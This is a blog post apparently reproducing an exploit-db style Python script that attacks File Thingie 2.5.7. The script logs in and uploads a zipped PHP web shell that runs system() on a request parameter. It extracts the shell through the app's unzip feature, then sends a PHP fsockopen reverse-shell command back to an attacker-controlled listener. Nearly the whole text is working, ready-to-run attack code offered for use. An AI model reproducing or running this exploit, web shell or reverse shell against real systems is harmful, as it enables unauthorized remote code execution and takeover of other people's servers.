Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86381184

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python

# Exploit Title: File Thingie 2.5.7 - Arbitary File Upload to RCE
# Google Dork: N/A
# Date: 27th of April, 2023
# Exploit Author: Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
# Software Link: https://github.com/leefish/filethingie
# Version: 2.5.7
# Tested on: N/A
# CVE: N/A

# Vulnerability originally discovered / published by Cakes
# Reference: https://www.exploit-db.com/exploits/47349
# Run a local listener on your machine and you're good to go


import os
import argparse
import requests
import random
import string
import zipfile
from urllib.parse import urlsplit, urlunsplit, quote


class Exploit:
    def __init__(self, target, username, password, lhost, lport):
        self.target = target
        self.username = username
        self.password = password
        self.lhost = lhost
        self.lport = lport

    def try_login(self) -> bool:
        self.session = requests.Session()

        post_body = {"ft_user": f"{self.username}", "ft_pass": f"{self.password}", "act": "dologin"}
        response = self.session.post(self.target, data=post_body)

        if response.status_code == 404:
            print(f"[-] 404 Not Found - The requested resource {self.target} was not found")
            return False

        elif response.status_code == 200:

            if "Invalid username or password" in response.text:
                print(f"[-] Invalid username or password")
                return False

            return True
        
    def create_new_folder(self) -> bool:
        # Generate random string
        letters = string.ascii_letters
        self.payload_filename = "".join(random.choice(letters) for i in range(16))
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        post_body = {f"type": "folder", "newdir": f"{self.payload_filename}", "act": "createdir", "dir": "", "submit" :"Ok"}

        print(f"[*] Creating new folder /{self.payload_filename}")
        response = self.session.post(self.target, headers=headers, data=post_body)

        if f"index.php?dir=/{self.payload_filename}" in response.text:
            print(f"[+] Created new folder /{self.payload_filename}")
            return True
        
        else:
            print(f"[-] Could not create new folder /{self.payload_filename}")
            return False

    def create_payload(self) -> bool:
        try:
            with zipfile.ZipFile(f"{self.payload_filename}.zip", 'w', compression=zipfile.ZIP_DEFLATED) as zip_file:
                    zip_file.writestr(f"{self.payload_filename}.php", "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"</pre>\"; die; }?>")
                    print(f"[+] Zipped payload to {self.payload_filename}.zip")
                    return True
        except:
            print(f"[-] Could not zip payload to {self.payload_filename}.zip")
            return False

    def upload_payload(self) -> bool:
        # Set up the HTTP headers and data for the request
        headers = {
            b'Content-Type': b'multipart/form-data; boundary=---------------------------grimlockx'
        }

        post_body = (
            '-----------------------------grimlockx\r\n'
            'Content-Disposition: form-data; name="localfile-1682513975953"; filename=""\r\n'
            'Content-Type: application/octet-stream\r\n\r\n'
        )

        post_body += (
            '\r\n-----------------------------grimlockx\r\n'
            'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n'
            '2000000\r\n'
            '-----------------------------grimlockx\r\n'
            f'Content-Disposition: form-data; name="localfile"; filename="{self.payload_filename}.zip"\r\n'
            'Content-Type: application/zip\r\n\r\n'
        )

        # Read the zip file contents and append them to the data
        with open(f"{self.payload_filename}.zip", "rb") as f:
            post_body += ''.join(map(chr, f.read()))

        post_body += (
            '\r\n-----------------------------grimlockx\r\n'
            'Content-Disposition: form-data; name="act"\r\n\r\n'
            'upload\r\n'
            '-----------------------------grimlockx\r\n'
            'Content-Disposition: form-data; name="dir"\r\n\r\n'
            f'/{self.payload_filename}\r\n'
            '-----------------------------grimlockx\r\n'
            'Content-Disposition: form-data; name="submit"\r\n\r\n'
            'Upload\r\n'
            '-----------------------------grimlockx--\r\n'
        )

        print("[*] Uploading payload to the target")

        response = self.session.post(self.target, headers=headers, data=post_body)

        if f"<a href=\"./{self.payload_filename}/{self.payload_filename}.zip\" title=\"Show {self.payload_filename}.zip\">{self.payload_filename}.zip</a>" in response.text:
            print("[+] Uploading payload successful")
            return True

        else: 
            print("[-] Uploading payload failed")
            return False
        
    def get_base_url(self) -> str:
        url_parts = urlsplit(self.target)
        path_parts = url_parts.path.split('/')
        path_parts.pop()
        base_url = urlunsplit((url_parts.scheme, url_parts.netloc, '/'.join(path_parts), "", ""))
        return base_url

    def unzip_payload(self) -> bool:
        print("[*] Unzipping payload")
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        post_body = {"newvalue": f"{self.payload_filename}.zip", "file": f"{self.payload_filename}.zip", "dir": f"/{self.payload_filename}", "act": "unzip"}
        response = self.session.post(f"{self.target}", headers=headers, data=post_body)
        
        if f"<p class='ok'>{self.payload_filename}.zip unzipped.</p>" in response.text:
            print("[+] Unzipping payload successful")
            print(f"[+] You can now execute commands by browsing {self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd=<command>")
            return True

        else: 
            print("[-] Unzipping payload failed")
            return False

    def execute_payload(self) -> bool:
        print("[*] Trying to get a reverse shell")

        cmd = quote(f"php -r \'$sock=fsockopen(\"{self.lhost}\",{self.lport});system(\"/bin/bash <&3 >&3 2>&3\");\'")
        print("[*] Executing payload")

        response = self.session.get(f"{self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd={cmd}")
        print("[+] Exploit complete")
        
        return True

    def cleanup_local_files(self) -> bool:
        if os.path.exists(f"{self.payload_filename}.zip"):
            os.remove(f"{self.payload_filename}.zip")
            print("[+] Cleaned up zipped payload on local machine")
            return True
        
        print("[-] Could not clean up zipped payload on local machine")
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target URL to ft2.php")
    parser.add_argument("-u", "--username", dest="username", type=str, required=True, help="FileThingie username")
    parser.add_argument("-p", "--password", dest="password", type=str, required=True, help="FileThingie password")
    parser.add_argument("-L", "--LHOST", dest="lhost", type=str, required=True, help="Local listener ip")
    parser.add_argument("-P", "-LPORT", dest="lport", type=int, required=True, help="Local listener port")
    args = parser.parse_args()

    exploit = Exploit(args.target, args.username, args.password, args.lhost, args.lport)
    exploit.try_login()
    exploit.create_new_folder()
    exploit.create_payload()
    exploit.upload_payload()
    exploit.unzip_payload()
    exploit.execute_payload()
    exploit.cleanup_local_files()